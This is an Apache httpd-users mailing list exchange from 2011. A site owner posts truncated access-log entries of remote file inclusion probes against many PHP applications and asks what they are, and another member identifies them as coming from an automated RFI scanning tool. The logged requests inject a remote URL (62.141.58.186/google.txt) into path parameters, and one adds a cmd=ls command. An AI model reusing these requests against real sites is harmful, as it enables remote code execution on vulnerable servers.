httpd-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Knute Johnson <apa...@knutejohnson.com>
Subject Re: [users@httpd] Some sort of hack attempt?
Date Tue, 20 Dec 2011 18:02:07 GMT
Thanks Mathijs.

On 12/20/2011 9:55 AM, Mathijs wrote:
> Looks like an automated hacking tool using this list, or a derative of
> it: http://ha.ckers.org/weird/rfi-locations.dat
>
> Kind regards,
> Mathijs
>
> On Tue, Dec 20, 2011 at 6:52 PM, Knute Johnson <apache@knutejohnson.com
> <mailto:apache@knutejohnson.com>> wrote:
>
>     I got hundreds of these in my log today.  Just curious if anybody
>     knows what sort of attack this might be?
>
>            /=http://62.141.58.186/google.__txt
>     <http://62.141.58.186/google.txt>: 4 Time(s)
>            /A-Blog/navigation/donation.__php?navigation ...
>     .186/google.txt: 4 Time(s)
>            /A-Blog/navigation/latestnews.__php?navigati ...
>     186/google.txt?: 4 Time(s)
>            /A-Blog/navigation/links.php?__navigation_st ...
>     186/google.txt?: 4 Time(s)
>            /A-Blog/navigation/search.php?__navigation_e ...
>     186/google.txt?: 4 Time(s)
>            /A-Blog/sources/myaccount.php?__open_box=htt ...
>     186/google.txt?: 4 Time(s)
>            /ACGVnews/header.php?PathNews=__http://62.14 ...
>     .186/google.txt: 4 Time(s)
>            /ACalendar/embed/day.php?path=__http://62.14 ...
>     .186/google.txt: 4 Time(s)
>            /ATutor/documentation/common/__frame_toc.php ...
>     .186/google.txt: 4 Time(s)
>            /ATutor/documentation/common/__search.php?se ...
>     .186/google.txt: 4 Time(s)
>            /ATutor/documentation/common/v__itals.inc.ph
>     <http://vitals.inc.ph> ... .186/google.txt: 4 Time(s)
>            /ATutor/include/classes/__module/module.clas ...
>     .186/google.txt: 4 Time(s)
>            /ATutor/include/classes/__phpmailer/class.ph
>     <http://class.ph> ... .186/google.txt: 4 Time(s)
>            /AdaptCMS_Lite_1.4_2/plugins/__rss_importer_ ...
>     186/google.txt?: 4 Time(s)
>            /Administration/Includes/__configureText.php ...
>     .186/google.txt: 4 Time(s)
>            /Administration/Includes/__contentHome.php?p ...
>     .186/google.txt: 4 Time(s)
>            /Administration/Includes/__deleteContent.php ...
>     .186/google.txt: 4 Time(s)
>            /Administration/Includes/__deleteUser.php?pa ...
>     .186/google.txt: 4 Time(s)
>            /Administration/Includes/__userHome.php?path ...
>     .186/google.txt: 4 Time(s)
>            /Agora_PATH//mdweb/admin/inc/__organisations ...
>     186/google.txt?: 8 Time(s)
>            /BE_config.php?_PSL[classdir]=__http://62.14 ...
>     .186/google.txt: 4 Time(s)
>            /BPNEWS/bn_smrep1.php?bnrep=ht__tp://62.141 <http://62.141>.
>     ... 86/google.txt?&: 4 Time(s)
>            /Base/Application.php?pear___dir=http://62.1 ...
>     .186/google.txt: 4 Time(s)
>            /Bcwb_PATH/dcontent/default.__css.php?root_p ...
>     .186/google.txt: 4 Time(s)
>            /Bcwb_PATH/include/startup.__inc.php?root_pa ...
>     .186/google.txt: 4 Time(s)
>            /Bcwb_PATH/system/default.css.__php?root_pat ...
>     .186/google.txt: 4 Time(s)
>            /Beautifier/Core.php?BEAUT___PATH=http://62. ...
>     186/google.txt?: 4 Time(s)
>            /BetaBlockModules//Module/__Module.php?path_ ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__AboutUserModule/AboutUse ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__AddGroupModule/AddGroupM ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__AddMessageModule/AddMess ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__AudiosMediaGalleryModule ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__CustomizeUIModule/deskto ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__EditProfileModule/Dynami ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__EditProfileModule/extern ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__EnableModule/EnableModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ExternalFeedModule/Exter ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__FlickrModule/FlickrModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupForumModule/GroupFo ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupForumPermalinkModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupModerateContentModu ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupModerateUserModule/ ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupModerationModule/Gr ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupsCategoryModule/Gro ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__GroupsDirectoryModule/Gr ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ImagesMediaGalleryModule ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ImagesModule/ImagesModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__InvitationStatusModule/I ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__LargestGroupsModule/Larg ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/LinksModule/__LinksModule. ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/LoginModule/__remoteauth_f ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/LogoModule/__LogoModule.ph ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MediaFullViewModule/Medi ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MediaManagementModule/Me ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MembersFacewallModule/Me ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MessageModule/MessageMod ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ModuleSelectorModule/Mod ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MyGroupsModule/MyGroupsM ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MyLinksModule/MyLinksMod ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__MyNetworksModule.php?pat ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkAnnouncementModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkDefaultControlMod ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkDefaultLinksModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkModerateUserModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkResultContentModu ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworkResultUserModule/ ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NetworksDirectoryModule/ ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__NewestGroupsModule/Newes ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__PeopleModule/PeopleModul ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__PopularTagsModule/Popula ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__PostContentModule/PostCo ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ProfileFeedModule/Profil ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__RecentCommentsModule/Rec ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__RecentPostModule/RecentP ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__RecentTagsModule/RecentT ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__RegisterModule/RegisterM ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__SearchGroupsModule/Searc ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ShowAnnouncementModule/S ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ShowContentModule/ShowCo ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__TakerATourModule/TakerAT ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__UploadMediaModule/Upload ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__UserMessagesModule/UserM ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__UserPhotoModule/UserPhot ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__VideosMediaGalleryModule ...
>     .186/google.txt: 4 Time(s)
>            /BetaBlockModules/__ViewAllMembersModule/Vie ...
>     .186/google.txt: 4 Time(s)
>            /Blog/BlogModel.php?path=http:__//62.141.58.186/google.txt
>     <http://62.141.58.186/google.txt>: 4 Time(s)
>            /Blog_CMS/admin/plugins/NP___UserSharing.php ...
>     .186/google.txt: 4 Time(s)
>            /Blog_CMS/admin/plugins/NP___UserSharing.php ...
>     oogle.txt?admin: 4 Time(s)
>            /CheckUpload.php?Language=http__://62.141.58
>     <http://62.141.58> ... ogle.txt&cmd=ls: 4 Time(s)
>            /Contenido_4.8.4/contenido/__backend_search. ...
>     186/google.txt?: 4 Time(s)
>            /Contenido_4.8.4/contenido/__cronjobs/move_a ...
>     186/google.txt?: 4 Time(s)
>
>     Thanks,
>
>     --
>
>     Knute...
>
>     ------------------------------__------------------------------__---------
>     The official User-To-User support forum of the Apache HTTP Server
>     Project.
>     See <URL:http://httpd.apache.org/__userslist.html
>     <http://httpd.apache.org/userslist.html>> for more info.
>     To unsubscribe, e-mail: users-unsubscribe@httpd.__apache.org
>     <mailto:users-unsubscribe@httpd.apache.org>
>     "   from the digest: users-digest-unsubscribe@__httpd.apache.org
>     <mailto:users-digest-unsubscribe@httpd.apache.org>
>     For additional commands, e-mail: users-help@httpd.apache.org
>     <mailto:users-help@httpd.apache.org>
>


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Mime
View raw message